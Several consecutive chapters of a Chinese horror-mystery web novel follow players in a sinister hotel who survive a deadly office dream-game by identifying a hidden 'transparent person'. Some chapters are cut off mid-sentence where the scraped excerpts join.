就连被吴樊祐压在脚下的男子也停止了挣扎,重重呼出一口气,额头抵住地面,喜极而泣般小声感叹道:“太好了,我不用死了,太好了!” 寂静的房间里,只有键盘声的响动,带着某种隐隐不安的节奏,昭示着暴风雨前的宁静。 “怎么可能……怎么可能有错……”郝勇难以接受,胡乱地抓扯着头发,丝毫没有注意到手上鲜血顺着刀柄滴落,从额头滑过脸颊,染得一脸血污,“明明小俞说……” 下一秒,郝勇转头看向俞小澄,眼神中带着愤怒,他用力拔出手掌上的小刀,因疼痛而嘶吼,而后红着眼快速冲向俞小澄。 “是你,是你骗我!” 眼看郝勇逼近,吴樊祐顾不上脚下男子,起身护在俞小澄身前。俞小澄一边尖叫,一边拉着吴樊祐就往档案室跑,可刚跑出去两步,就听见身后传来重重的倒地声。 郝勇身体扭曲着在地上挣扎,鲜血从他的眼耳口鼻中喷涌而出,他张大嘴,看似在痛苦地哀嚎,却一点声音都没有发出。 接着,他反握小刀,猛然刺向自己脖子,一刀接着一刀,血流如注,四处喷溅,直到他彻底断气,再也不动。 一切发生得太突然,俞小澄整个人都吓傻了,看着倒在血泊中的郝勇,她甚至忘了尖叫。 头顶的灯又开始闪烁,随着灯光熄灭,四周再次陷入无尽的黑暗中,死一般的寂静将她笼罩其中,然后一眨眼,他们重新回到了宿舍。 只是这一次回来的,仅剩三人。 迎接他们归来的是沉默,似乎谁也没料到会有如此惨烈的开局,从他们离开宿舍到回来,不过短短一个多小时。 俞小澄瘫软地坐在床边,浑身止不住地抖动,郝勇死时的模样不停在脑海中闪回,泪水便在眼眶里打转。 吴樊祐不知所措地坐到她身边,想要出言安慰,一时又不知说什么好,只好安静地轻拍着她的背以示安慰。 过了许久,俞小澄稍微冷静下来,脑子重新恢复运转,可随之而来的是深深的自责。 “是不是我害死了他……” 她的声音很轻,自言自语似的,在寂静无声的房间里依然听得清楚。 吴樊祐一怔,正想开口,始终沉默的张尧却在此时抢过话头:“这就是梦境,只要活着,这样的事就会不断上演,同情心泛滥对你没什么好处。” 他的话算不上安慰,也算不上责备,更像是自我救赎,他来到穷途旅店的日子更长,自然比俞小澄经历得更多,他见过更残酷的情况,如果不铁石心肠一点,很难维持精神稳定。 俞小澄的手指纠缠在一起,指甲在手背上留下一道道乌红的印记,亦如她此刻的心。 吴樊祐将她的手分开,手掌轻抚着她的手背,语调平缓:“不是你的错,是他自己掉入透明人的圈套罢了。” 此言一出,立刻吸引在场两人的目光,方才事发突然,他们因震撼而未来得及细想,听到吴樊祐的话,不禁思索起来。 张尧一个激灵从床上一跃而起,惊诧地说道:“那个行凶者说,是透明人要他做的。” 吴樊祐的语气依然很平静:“透明人的话不可违背。” “是因为俞小澄找到了逃课的方法吗?”张尧反问。 俞小澄一脸疑惑:“什么逃课?” 吴樊祐向她解释:“就是用更简单的方式通关或者跳过关卡。” 原本每天晚上他们应该进行的捉迷藏游戏,因俞小澄发现的线索而被迫提前结束,因此张尧猜测,透明人被激怒从而加大游戏难度。 “事实证明,‘那个谁’已经被透明人识破,它完全可以利用‘透明人的话不可违背’这条规则迷惑玩 17. 梦境(一) 《我好像住进了黑店》全本免费阅读 第三天早上9点,三个无精打采的人站在公司门外,四肢无力,走路都直不起身子,望向门内的眼神中燃烧着火焰,肚子里发出的咕咕声此起彼伏,如同控诉着悲惨的一夜。 整个晚上,三人都在床上翻来覆去睡不着,只因腹中空无一物,好像有一团火在燃烧,烧尽一切后是无尽的空虚,是对填充物的渴望。 在精神与□□的双重折磨下,终于等到了早上,他们从未如此期盼开始新的一轮游戏。 路过前台时,俞小澄发现前台两个女同事的眼神与前两日不同,看见三人也不逃跑,她停下脚步,用手指轻轻戳了戳身边吴樊祐的胳膊。 眼神交流的一瞬间,吴樊祐心领神会,立刻跑到前台,向那两女同事打听情况。 俞小澄和张尧则一脸紧张地张望,期待吴樊祐能带回点好消息。 不一会儿,吴樊祐惆怅地走回二人面前,简略说道:“今天行政部加班,前台也在加班之列。” 俞小澄随即低头看向工牌,部门栏上的文字果然又变成了“行政部”。 “难怪今天见我们也不跑了,原来大家都是加班伙伴……”俞小澄自嘲一般说道。 吴樊祐一脸苦闷:“我不在加班之列……” 张尧一脸惊喜:“也没有我!” 意想不到的事再次发生,俞小澄仔细确认两人工牌,发现他们又分别被安排回第一天的所属部门,只有她一个被调到了行政部加班。 冥冥之中,有种被针对的感觉,俞小澄顿时哭笑不得,不过问题不大,如果不出其他幺蛾子,她会赶在游戏开始前找出透明人。 如此想着,她勉强挤出笑容,催着二人先前往餐厅解决饥饿这一紧要问题。 绕过办公区直达餐厅后,三人迫不及待地选择餐食,几口热食下肚,终于感觉活了过来,为防止再出现这种极端情况,他们一致决定顺走些食物。 衣兜和帽子里塞满牛奶面包三明治后,三人重新回到办公区入口处。 俞小澄打算去了档案室继续调查人事档案,幸亏昨日借的钥匙串还在她手里,省了与人事部长打交道的麻烦。 吴樊祐叮嘱俞小澄关好档案室的门,不要随便给除他以外的人开门,俞小澄则告诫他不要离开大厅导致落单,同时留意周围是否安全。 一番交代后,吴樊祐独自离了队。 张尧本打算回到工位,只要一整天不落单,安然混到下班时间便可,但被俞小澄以有事相商为借口拉进了档案室。 俞小澄听从吴樊祐的话反锁了房门,然后带着张尧走到了人事档案柜前。 她熟练地打开柜子,然后从里面抱出一摞摞人事档案资料,放到地上,对张尧说:“这部分资料就麻烦你统计一下吧,按照部门,统计在职人数就行。” 说罢,她又递给张尧一张纸和一支笔。 张尧茫然不解,没有接过俞小澄递过来的纸笔,不客气地拒绝:“你如果想找免费劳动力,不好意思,你找错人了!有这闲工夫,我还不如去帮NPC做事,至少还有可能获得金币。” 他说着迈步往外走。 果然没有想象中顺利,俞小澄无奈地从兜里拿出一枚金币,那是当初帮美术组领导泡咖啡获得的奖励,她险些都要忘了。 她喊住张尧说:“你现在出去,大概率无法获得金币,如果我没有猜错,金币任务只在加班时间段触发。” 张尧本来还不信,可看见俞小澄手里那枚金币,心里不由得打起鼓来。 “帮我统计完这些资料,这枚金币就归你。”见张尧有些动摇,俞小澄乘胜追击。 果不其然,在金币的诱惑下,张尧默不作声地蹲在地上,开始认真翻阅起资料。 俞小澄会心一笑,安心忙起手上的活。 其实这统计工作也不是非找帮手不可,最危险的一环她已经交给吴樊祐,如果今天也出现行凶者,她相信以吴樊祐的身手能够应付。 但如果让张尧呆在大厅里,她不确定他能安然无恙,于是只得用这种办法强留他在档案室里,至少暂时不会有生命危险。 统计工作进行了大半个小时,看着纸上数据,俞小澄希望自己的猜测没错,或许可以尽早结束这场奇怪的梦。 许久不见吴樊祐出现,俞小澄本就焦虑不安,加上帮完忙的张尧又准备离开,想说外面可能有危险,但张尧大概率不会领情。 档案室内四周封闭,看不到也听不见外面的动静,俞小澄也不知道今天透明人到底有没有搞出幺蛾子,犹豫着要不要出去找吴樊祐。 正在纠结时,张尧已经到了门边,手刚刚搭在门把手上,突然听到钥匙插入锁孔左右转动的声音。 因为俞小澄从里面反锁了房门,所以来人开锁失败,抽出钥匙后,改为拍门,咚咚咚的响声震得屋里人心里发虚,那粗鲁的拍门方式仿佛带着怒气。 张尧被吓了一跳,将手缩了回去,下意识地后退一步,警觉地盯着房门,没有回应。 俞小澄屏住呼吸,仔细聆听着门外动静,门外来人怎么想都不可能是吴樊祐,且不说那人有档案室钥匙,就是那粗鲁的敲门方式也断然不像吴樊祐的行事作风。 “谁在里面啊,怎么还锁门?不知道这会妨碍别人工作吗?这是档案室,不是你家!” 门外传来暴躁的谩骂声,听上去像是想要进档案室找资料的员工。 俞小澄和张尧对视一眼,微微松了一口气。 张尧打开门,只见外面站了个牛高马大的胡子男,一脸烦躁地瞪了张尧一眼,嘴里骂骂咧咧:“搞什么鬼,关门做贼呢?” 张尧一边说着抱歉,一边错身让到一边,等胡子男先进了屋,自己才往门外走。 俞小澄见状也是一脸不好意思,看着摆了一地的资料,更是窘迫不堪,嘴上道了声“我马上收拾”,便蹲下身手忙脚乱捡起资料,规整好后往柜子里塞。 男子没有说话,只是死死盯着俞小澄,一步步靠近,距离两步之遥时还没有停步的迹象,这让俞小澄隐隐不安。 俞小澄暂停手上活,将人数统计的那张纸对折两次塞进衣兜,快步闪身进了两排铁架之间。 胡子男每靠近一步,她就往后退一步,始终与胡子男保持着两步的距离,不知是不是自己的错觉,她总觉得胡子男的目标不是档案室里的资料,而是自己。 很快,胡子男走到了交叉口,没再继续往前,而是转头看向了俞小澄。 她看见胡子男的手伸进了衣兜,接着听到几声“嘎达嘎达”的微弱声音,心里涌出一种不祥的预感,迅速转身逃跑,试图从后面绕一圈跑出档案室。 她刚一行动,身后的胡子男果然有了动作,跟在她身后追了过来,因为体型高大,撞得两边铁架发出砰砰的闷响,架子上的文件夹和纸箱子应声掉落,一片狼藉。 俞小澄因恐惧叫出了声,脑子里全是昨日郝勇遇袭的画面,意识到自己应该是成了新的目标,透明人想要杀掉自己。 借着身体娇小的优势,俞小澄在架子之间穿梭,几次惊险躲过胡子男扑向她的魔爪。身后的人愈发气急败坏,索性从兜里掏出一把美工刀,一边追赶,一边胡乱挥舞。 许多次俞小澄感觉那锋利的刀片带着风从 18. 梦境(一) 《我好像住进了黑店》全本免费阅读 张尧的一句话让屋子里的气氛一瞬间变得压抑,俞小澄疑惑地望着吴樊祐,吴樊祐冷眼看着张尧,张尧饶有兴致地盯着俞小澄,谁也没有说话。 异样的情绪在密不透风的房间里蠢蠢欲动,似乎在悄无声息地破坏着某种平衡,引发信任土崩瓦解的躁动。 吴樊祐面不改色道:“你看错了吧。” 张尧冷哼一声:“你连借口都懒得想一个吗?” 眼见二人剑拔虏张又要吵起来,俞小澄觉得应该尽早结束这个话题。 她随意在衣服上蹭了蹭手掌上的血污,然后从兜里取出那张被叠成小方块的白纸,小心翼翼地展开放在地上,然后对吴樊祐说:“你那边统计完了吗?” 吴樊祐从张尧身上收回视线,点点头,从兜里拿出一张差不多的纸,上面也密密麻麻写着部门与数字。 俞小澄将两张纸并排在一起,左右对照起数据。 张尧好奇地靠近几步,探着身子往纸上瞧,只见俞小澄在两张纸上挨个勾画,最后将“策划部”和“行政部”两个部门圈了出来。 “明天是最后机会了。”俞小澄一脸严肃地说道。 张尧问:“什么机会?” 俞小澄抬头望着他,眼神异常坚毅,刚想起身就牵拉到伤口,胳膊上的疼痛感让她倒吸一口凉气,她咬了咬牙,清晰地吐出几个字:“找到透明人名字的机会。” 在张尧质疑的目光中,她缓缓将两张纸平铺在张尧面前的桌子上,指着被她圈出的两个部门说道:“左边是在档案室里统计到的员工数,右边是吴樊祐在大厅里统计到的实际人数。” 张尧顺着她手指的方向看去,发现两张纸上的数据只有这两个部门的数字不一致。 见他看出端倪,俞小澄继续解释:“昨天翻阅人事档案资料,我们发现不管是第一晚加班的美术组,还是第二晚加班的音效设计部,登记人数都比实际人数少了一人,而昨天清点人数时,美术部实际人数已经与登记人数一致了。” “美术组多的一人转移到音效设计部了?”张尧反问。 “正是。”俞小澄点头,“而今天,音效设计部的两组数据一致了,而行政部多出一人。” 张尧立马反应过来,作出判断:“所以这个人就是透明人。” “对。”俞小澄表示肯定,随后又指了指另一处异常之处,“但是所有部门中,只有一个部门的人事登记人数比实际多了一人,那就是策划部。” “你想说,多出来的这份资料属于透明人?” “是的。”俞小澄说。 张尧的脑子转得很快,这让俞小澄省去许多解释的麻烦,她缓慢移到床边坐下,动作尽量轻柔,唯恐又拉扯到伤口。 她样子有些狼狈,衣服后背、帽子上被划出几道口子,衣袖上被鲜血浸染出一小片红色。 原本装在帽子里的食物,在逃命中不知所踪,孤零零地剩下一盒牛奶,还被刀片划破,盒子里的牛奶所剩无几,她的衣服倒是奶香四溢,湿哒哒地贴在后背上,十分难受。 吴樊祐上前,将牛奶盒从她帽子里取出,然后脱下外套递给她,让她去卫生间洗洗换上。 俞小澄有些不好意思,但属实不是嘴硬拒绝的时候,于是红着脸,拿着吴樊祐的外套进了卫生间。 忍着痛,单手脱掉身上衣服,又用湿毛巾擦拭一遍身子,她才穿上吴樊祐的外套,外套对她来说大了些,一直盖到膝盖处。 看着镜中的自己,俞小澄有些恍惚,被竖起的衣领挡住的小脸红得跟毛桃似的。 她站在卫生间里定了定心神,等到脸上滚烫褪去后,才拘谨地走出卫生间。 “唉呀,梦境里衣服毁了,该不会醒来没衣服穿吧?”吴樊祐打趣地说道。 俞小澄心头一紧,突然意识到,自己还与吴樊祐睡在同一间客房中,也不知这梦境究竟会不会影响现实,不过吴樊祐的话让她稍微感觉到一丝不协调。 她还未来得及细想,就听张尧冷哼道:“就算有影响,她也穿着你的外套,你还是担心你自己吧,梦境结束时,人在梦境中最后是什么样,回到现实就是什么样,当心醒来被旁边床的死人吓破胆!” “嗯?噢……”吴樊祐微微一笑,“我又没和郝勇同房。” “什么?那你……”张尧一脸震惊,忽然想到什么,嘴里骂道,“恬不知耻。” 吴樊祐脸不红心不跳,随口讥讽道:“这就是你进入箭竹梦境的原因?年轻人就爱想这些,啧啧啧,想多了伤身体,我们大人可比你的想法干净多了。” “胡说什么呢你……”张尧被他说得脸上一红。 “哦,没什么,就是在想,你这带颜色的脑子,怎么同意让施烨与禾苒同房,怎么,看不起老年人?还是歧视中年人?”吴樊祐装出一副不正经的模样。 张尧一脸嫌弃地瞪了吴樊祐一眼,转身爬上上铺,扔下一句:“我敬老可以吗?” 吴樊祐冷笑:“是么?看起来挺没人性的,想不到还敬老。” “你……”张尧被他气得接不上话,重重躺倒在床,气闷地将身子转向里侧。 收拾完张尧,吴樊祐才笑着问俞小澄明天的计划。 虽然现在还不知道明天透明人混入哪个部门,但俞小澄打算依靠吴樊祐的记忆力找出策划部人事档案资料中多出的那一份,便可知晓透明人的名字。 如果一切顺利,只要找到透明人的名字,一切应该就能彻底结束了。 “对了,你今天是如何找出透明人的?当时你根本没空比对资料,你不怕猜错了落得郝勇那般下场?”张尧突然转过头问道。 经他提醒,俞小澄才想到这个重要发现,她从耳朵里取出耳机,放在手心展示,解释说:“就是这副道具耳机,只要戴上后,透明人的脸会出现马赛克,并同时播放《好运来》,我之前还不确定是否只对透明人有效,今天冒险试了一把,好在没翻车。” 此刻,她也终于肯定,第一天在电梯看到的马赛克根本不是什么防火墙,就是透明人。 张尧大惊:“你为什么会有道具?” 俞小澄说:“新人福利?” 张尧:“放屁,迄今为止还没有新人拿过什么福利。” 吴樊祐:“别总嫉妒别人运气比自己好,多关注自己有的东西。” 张尧:“屁话,我有什么?” 吴樊祐:“一颗敬老的心?” 张尧:“……” 其实俞小澄也觉得奇怪,这副耳机是吴樊祐对三号客服软磨硬泡到手的,她没想到NPC也能放水,难道真是长相好看的人享有的特权? 因为提前准备了吃食,所以困在宿舍的第三天还算舒适,除了俞小澄身上的伤隐隐作痛外,一切似乎都在向好的方向前进。 等到最后一天来临时,三人仿佛看到了胜利的终点。 可被传送到公司的那一刻,三人全都傻眼了,整层楼没有一丝人气,前台空着,办公区里亮着灯却没有一个人,会议区和休息区漆黑一片。 “怎么回事?今天周末不上班?”张尧问道,回答他的只有回声。 19. 梦境(一) 《我好像住进了黑店》全本免费阅读 听到二人对话,俞小澄陷入沉思,安慰的话一句都说不出口,因为张尧说的没错,如果要她在吴樊祐和张尧之间做选择,她绝对会毫不犹豫地选择吴樊祐。 就算她内心并不愿意眼睁睁看着张尧去死,可她自己不想死,也不想吴樊祐死。于是,现在的情形仿佛已经宣布了张尧的死期。 “走吧,学姐,我们也该去找找藏身处了。”吴樊祐说着打算带俞小澄离开。 张尧并没有在绝望中歇斯底里,也没有纠缠二人,他既然能对他人狠心,自然也能接受他人对他狠心。 他蹲在地上思考了片刻,头发被抓得乱作一团,或许是不甘于等死,他起身在周围寻找顺手的武器,即便知道徒劳,也想为自己拼命。 俞小澄两步一回首,难以安心离开,她总觉得有什么地方自己没注意到。 余光扫过窗口,她脚下一顿,叫住了吴樊祐,跑到窗边查看,只见窗外一轮明月悬挂天边,街道上灯火通明。 “现在不是早上,是晚上……”她惊呼道。 张尧听后顾不上找武器,走到窗边往外瞧,心中顿感疑惑:“我们来时不是早上吗?” 吴樊祐看了看手表,这几日他们每次都在早上9点进入办公楼,所以今天进入办公楼时,自然先入为主地以为同样是早上。 不过即便如此,也没什么好奇怪的,毕竟梦境之中,规则由恶灵决定,他们的行动也会受到限制。 他提出自己见解,认为是透明人为了加大游戏难度故意为之,混淆他们对时间的感知,营造紧张感的手段罢了,没必要在意。 俞小澄说:“如果说游戏时间没有变,是不是意味着规则确实没有变?” “哪里没变?”张尧两手一摊,示意她看看空无一人的办公区。 被这么一说,俞小澄也不敢肯定,没有说出心中想法,而是一声不吭地翻箱倒柜搜寻起来,就像魔怔了一样。 吴樊祐和张尧一脸懵逼,不知道俞小澄到底在找什么。 整间公司太大,仅靠俞小澄一人之力实在难以赶在游戏开始前证实自己的猜测,不得已只好悄声吩咐招财进宝帮自己一起找寻。 招财不怕黑,自告奋勇负责会议区和休息区,而进宝留在办公区协助俞小澄。 时间一分一秒过去,张尧满脸焦虑,见俞小澄一副不打算离开的架势,便动了说服吴樊祐与自己一起去寻找藏身之所的歪心思。 “时间不多了,继续留在这里,我们三个都可能完蛋。”张尧一脸恳切。 吴樊祐轻蔑一笑:“我无所谓。” 俞小澄翻找之余,低声念叨:“如果规则没有改变,玩家并不能同行,就算我们三人中能有两人组队行动,不至于落单,但从规则上说,是无效的。” 她说这些话时,不仅仅是提醒另外二人,更多是为了说服自己相信自己的判断,故意造成时间认知偏差,是为了让他们忽略规则的存在,从而犯错丢掉小命。 时间过去十来分钟,俞小澄几乎拉开每一张座椅,挨个确认办公桌下空间是否藏着什么,然后在一个不起眼的角落里,她终于发现了趴在桌底瑟瑟发抖的林主策。 桌子下的人像只鸵鸟,撅着屁股抱着头,用座椅遮挡着身子。 被人发现后,林主策满头大汗,讪笑道:“能不能别选我……” 听到说话声的吴樊祐和张尧一脸震惊地围了过来,俯视着赖在桌子底下不出来的林主策,试图从俞小澄口中打听究竟是怎么一回事。 林主策的出现终于证明了俞小澄的推测,她轻轻呼出一口气,解释道:“游戏规则,除了未被邀请的无目者,所有特殊角色必须留下加班。” 张尧恍然大悟:“这就是你想说的规则不变?所以,特殊角色也无法离开公司,只是藏了起来。” 俞小澄点头:“或许没有无目者,如果今天时间直接跳到了加班时刻,那无心者应该没有机会邀请人加班。但留在公司里的,至少有作恶者、无心者、良善者。” 希望的火焰仿佛重新被点燃,张尧一把将林主策从桌子下薅了出来。 林主策依然重复着一句话:“能不能别选我……” “我不选你。”俞小澄说,“至于他俩,我无法左右。” 俞小澄说完朝林主策伸出了手,手心向上,勾了勾手指,满脸期待地盯着林主策。 身旁两人完全无法理解她的行为,静静地看向林主策。只见林主策从兜里掏出一枚金币,小心翼翼地放到俞小澄手心,又对抓着他不放的张尧说:“能不能别选我……” 俞小澄将金币在手中掂量一下,顾不上林主策,继续翻箱倒柜寻找下一个NPC。 张尧还在与林主策掰扯,在一枚金币与游戏之间他似乎很难做出决断,吴樊祐则对林主策毫无兴趣,追到了俞小澄身边。 “学姐放弃林主策是不是已经有别的计划?” 面对吴樊祐的问话,俞小澄低声应答:“算不上计划,有点赌的成分吧。透明人也是特殊角色。” 吴樊祐看了看表,闭着眼沉思道:“万一赌输了呢?你不怕?” “怕!”俞小澄肯定地说,“可这个方向是对的,我就想走到底看看。” “学姐真是一点都没变。”吴樊祐笑了,随即提议道,“既然要冒险,不如等游戏开始和我一起去找记忆之门。” 俞小澄头也不抬地回拒道:“你找前台打听消息那日,她们两是无目者,说的话不能信,或许是胡诌的,也可能是圈套,这种冒险不值得。” 吴樊祐一时语塞,没有继续劝说,帮她一起在办公室里搜索。 有了林主策这个开端,情况似乎开始往好的方向偏转,他们陆陆续续又发现了其他加班者,俞小澄无一例外没有选择他们,而是问他们有什么想让她做的。 举手之劳她便顺手完成,若要费时间她就当没听见,比如在窗边储物柜里找到田总监时,田总监只是让她关上柜门,一个金币又收入囊中。 吴樊祐问她为何知道这些NPC会爆金币,她说她猜的。 也的确如此,第一天加班时,她无意间完成美术组领导交代的咖啡任务,获得了一枚金币,她便猜测金币任务会出现在加班时间段,而现在正是加班时间。 时间来到9点53分,几乎所有加班者都被找了出来,却依然没有透明人的踪迹。 这时,一直在办公区以外区域搜寻的招财飘了回来,神情有些不自然,欲言又止地说:“我找到……点东西……” “哪里?”俞小澄眼看着时间所剩无几,心急地问道。 招财指了指方向,往休息区飘去。 俞小澄离开 20. 合谋 《我好像住进了黑店》全本免费阅读 俞小澄睁开眼睛时,四周重回夜色的怀抱,她此时平躺在床上,猛地坐起身,胳膊传来一阵钻心的疼,随着嘶的一声闷哼,一旁传来翻身的响动。 “学姐?”吴樊祐打开床头灯,坐到了床边,脸上写满关切。 他们已经回到了客房里,房中与入睡前没有丝毫改变,但俞小澄身上的衣服和胳膊上的伤无时无刻不在提醒她,梦境中经历的一切都是真实的。 俞小澄想起什么,摸了摸耳朵,发现耳机已经不知所踪,在床周围找了一圈,并没有发现耳机掉落的踪迹。 一眼瞥见床头柜上多了从未见过的摆件,两个拇指大的瓷娃娃摆在一起,女童扎着两条小辫蹲在地上哭泣,男童顶着瓜皮发型站在一旁抚摸着女童的脑袋。 “招财进宝?”俞小澄伸手拿起瓷娃娃仔细端详,精雕细琢的外观的确和招财进宝一模一样。 吴樊祐上前看了一眼,嘴巴微微启合,愣了两秒,不知心里在想什么,不过只是一瞬,又换作一副处变不惊的模样,随口问道:“这又是什么?我怎么不记得屋子里有这玩意儿。” 俞小澄手指在两个栩栩如生的瓷娃娃头顶抚过,低声说:“梦境里遇到的守护神,这个叫招财,这个叫进宝……” “哦,原来如此,也许学姐找到隐藏道具了。”吴樊祐并不意外,会心一笑,动作轻柔地合拢俞小澄的手指握住瓷娃娃,让她将其收好。 俞小澄顺从地将瓷娃娃揣进衣服口袋里,手指触到硬物,摸出来一看,是6枚金币。随即又想起自己还穿着吴樊祐的外套,而吴樊祐只穿了一件宽松T恤,顿觉不好意思。 “呃,不知道旅店里会不会有多余的衣服。” “学姐是嫌弃我,还是嫌弃我的外套?”吴樊祐立马摆出一副受伤的可怜样。 俞小澄一愣,急忙摇头解释:“不、不是这个意思,我,呃,嘞个……就是……就怕下次再发生相同情况,你没衣服穿了……” 吴樊祐被她清奇的理由成功逗笑,看了看手表,距离凌晨4点还差10多分钟,随即用客房内的座机播了一通电话。 俞小澄不知道他打给谁,只听见他对着话筒简单提了三个要求,一是女生的换洗衣物,二是急救箱,三是叫早服务。 俞小澄简直难以置信,有一瞬间以为自己是外出度假,住进了一间普通的酒店,若不是胳膊上的伤随时在提醒着自己,她都要以为之前的经历只是一场梦了。 带着疑惑,她紧盯着吴樊祐,盯得放下话筒的吴樊祐一头雾水。 “怎么了?”吴樊祐摸了摸脸,“看上我了么?” 俞小澄简直想给他一拳,治一治他这不分场合乱开玩笑的性子,奈何她没那么大勇气,只能轻声叹了一口气。 没过多久,敲门声响起,本是很寻常的事,可放在这间处处非比寻常的旅店里,便显得尤为怪异。 俞小澄警惕地盯着房门,坐在床上没有动弹,而吴樊祐若无其事地前去开门,被他的背影挡住,俞小澄看不清黑漆漆的门外站着什么人。 片刻后,吴樊祐一手提着急救箱,一手抱着换洗衣服走了回来。 整个过程太过平常,因此令俞小澄万分震惊,她没想到还能如此操作,可吴樊祐又是如何知晓电话服务的呢? 她环顾四周,并没有看到类似客房服务的提示。 正当疑惑时,吴樊祐已经回到床边坐下,将衣服放到一旁,先打开了急救箱,从里面找出碘伏消毒棉签和医用无菌敷贴,打算帮俞小澄处理伤口。 俞小澄脸色微红,赶紧拒绝吴樊祐的帮助,拿上棉签和敷贴还有衣服就钻进了卫生间。 脱掉外套,解开止血用的床单布条,用清水重新洗净周围残留血渍后,她才用碘伏棉签消毒。 伤口不算太深,无需缝合,血也基本止住,只要不感染应该没有大碍,过段时间自然会愈合。消毒完毕后,她又贴上无菌敷贴,然后换上衣服。 看着镜子,她捏了捏自己的脸,嘴里嘀咕:“你是对谁都没有界限感?还是对我的性别认知有误?” 这时才发现,换上的衣服竟和自己原来的衣服一模一样。 一种说不清道不明的违和感涌上心头,她拿上吴樊祐的衣服走出卫生间,想与他聊聊,可出来时发现外面那个心大的人已经趴在床上睡着了。 俞小澄不便打扰,只得压下好奇心,将吴樊祐的外套叠好放在他床头,无奈地回到床上。 望着天花板回想着一整晚的经历,感觉很奇妙,胳膊上的伤还在隐隐作痛,向她诉说着梦境的危险,可她并没有开始时那般害怕了。 耳机不知所踪,她猜测梦境道具大概只能带进一个梦境,一旦带进去后就带不出来了,所以陈奇他们才会不断刷金币去兑换新的道具。 如果不是吴樊祐帮她讨到那副耳机,她估计也没那么容易通关梦境,意识到道具的重要性,忍不住摸了摸兜里的金币。 那6枚金币和招财进宝一起,静静躺在她兜里,不知下一次的梦境又会遇到什么离奇的事,但兑换道具一定是不得不考虑的事。 想着想着,昏昏沉沉的睡意袭来,意识变得混沌,她又迷迷糊糊睡了过去。 直到被电话铃声吵醒,她听到隔壁床的吴樊祐翻身接起电话,嘟哝了几声后挂掉了电话,然后敲着她的床喊了几声“学姐”。 俞小澄从床上坐起,揉了揉脸,缓了好久才清醒,忽然觉得有哪里不对,揉脸时拉扯到胳膊居然没觉得疼,她用手捏了捏伤口处,当真没有痛感。 她拍着胳膊感叹着自己身体素质之高,受了刀伤居然睡一觉就没感觉了。 她忍不住挽起袖子,揭开无菌敷贴,打算看看伤口情况,可这一看吓了自己一跳,敷贴覆盖下的皮肤哪里还有伤口。 “我这伤……几个小时就愈合了?”俞小澄挠了挠头,一脸迷惘。 吴樊祐伸着懒腰打着呵欠下了床,似乎觉得并不稀奇,说这可能也是梦境的规则,在梦境里受的伤,可以通过睡眠恢复健康。 “那死了的人呢?”俞小澄小声问道。 吴樊祐脸色一沉,说:“死了就真的死了。” 俞小澄感觉心里堵了一下,一句话都说不出来,或许在看到自己身上伤口消失时,抱有那么一丝幻想,梦境终究是梦境,并不能影响现实。 当这种美好的幻想被吴樊祐的话击碎后,她没有再多想,简单洗漱一番后,在9点前一刻走出了客房。 走廊里,陆陆续续走出几个人,以陈奇为首,满脸不屑地路过二人身旁,只听陈奇阴阳怪气地招呼道:“哟,可以啊,居然还活着,是哪个高手指点你们啊?” 正在这时,旁边的房门咯吱一声打开,张尧从里面走了出来。 “哼,原来是四眼仔,希望你们今晚也同样好运。”陈奇说完,带着一脸奸邪的笑,招呼着身后三个女孩子往电梯口走去。 张尧狠狠瞪了他一眼,随即又向雏菊房的方向张望,焦急地问:“看到苒姐和烨哥了吗?” 21. 意外 《我好像住进了黑店》全本免费阅读 只死一人…… 禾苒的话格外刺耳,梦境中死的人在她看来不过是个数字。如果数字大,便意味着危险;如果数字小,只要不是自己就无所谓。 前一刻还因为施烨遇难哭得稀里哗啦的女人,这一刻话语中满是对死者的轻视,死亡在她眼里,仅仅是个数字,没有任何意义。 如果昨晚梦境中俞小澄不幸身死,或许在别人讨论时,也不过提及昨夜死了两人,比预计人数少,值得庆幸。 俞小澄感到些许不适,可她并没有勇气指出别人的无礼,也没有资格责备他人对于死亡毫无敬畏之心。 那样做太自以为是,一副高高在上的说教姿态实在令人反胃,她不想成为众矢之的,那就只能管住嘴,她并非屡教不改之人。 索性当做没听到,专心致志地吃着早饭。 吴樊祐对他们的提议并不感兴趣,神情恹恹地说:“你们是不是忘了个问题。” “什么?”禾苒与张尧几乎异口同声。 “不是每天会有新人入住旅店么?”吴樊祐用指尖敲了敲表壳。 此前从张尧口中得知,每天上午11点整,旅店会迎来新一批住客,也就是他们口中的新人,但住客数量时多时少很不固定。 有时候的确会出现无新人入住的情况,可谁也说不准今日会不会有新人。 一旦有新人加入,便会令场上局势变化,如果陈奇拉拢了新人,那他们所谓的优势便不复存在了。 张尧想了想,目光看向禾苒,请示一般说道:“要不我们也去拉拢新人?” 禾苒皱着眉还未开口,吴樊祐抢先说道:“别忘了,雏菊房卡只有3张,仅容6人入住,你们最多再拉2人入伙,如果入住新人大于4人呢?再说,你们有信心能从陈奇手上抢到人吗?” 接连的提问动摇着张尧的想法,他支支吾吾没法回答,求助一般看向禾苒。 禾苒比张尧淡定不少,嘴角露出一丝微笑,伸手搭在吴樊祐手背上,纤细的手指摩挲着皮肤,酝酿出一丝暧昧的味道。 她眼神拉丝,声音轻柔地说:“只要拉拢身强体壮的男生就好,我们不一定没有胜算。” 这举动把俞小澄吓得不轻,刚咽下的油条如鲠在喉,她将头撇向一旁,一边捶着胸口一边咳嗽不止,整张脸胀得通红。 吴樊祐冷峻的目光从禾苒脸上扫过,猛地抽回手,关切地询问俞小澄怎么了,顺带嘲笑她吃饭像有人跟她抢一样。 俞小澄哪敢说是被他们戏剧化的发展刺激到了,只能抱怨油条太干了。 禾苒有些尴尬地收回手,并没有放弃,正色道:“一切且看今日入住情况,我们如果不联手,迟早会死在陈奇手上。你们可以仔细考虑考虑我的提议,等会儿大厅见。” 说罢,她用纸巾擦了擦嘴角和手指,起身带着张尧离开了餐厅。 “你怎么想?”等到人走远了,俞小澄才小声问道。 吴樊祐看起来根本没有把禾苒的话放在心上,笑着对俞小澄说:“我没什么想法,学姐去哪儿我就去哪儿。” 对于吴樊祐看似消遣的话,俞小澄很难评价,如果她当真了,看上去会很傻,而她不想被当成傻瓜。 于是俞小澄假装没听到,无视他的回答继续说道:“昨晚的梦境只能说运气好,你找三号客服讨来的耳机正好派上用场,可今晚是否能平安度过,我没有把握……” 吴樊祐脑袋枕在手腕上,目不转睛凝视着俞小澄,沉默良久才说了句没头没脑的话:“学姐别太相信这里的人。” 俞小澄看不懂吴樊祐脑子里都在想什么,指了指吴樊祐问道:“包括你么?” 吴樊祐被气笑,反问:“我在学姐眼里到底是什么形象?” “对谁都没大没小的厚脸皮学弟?”俞小澄声音微弱地答道。 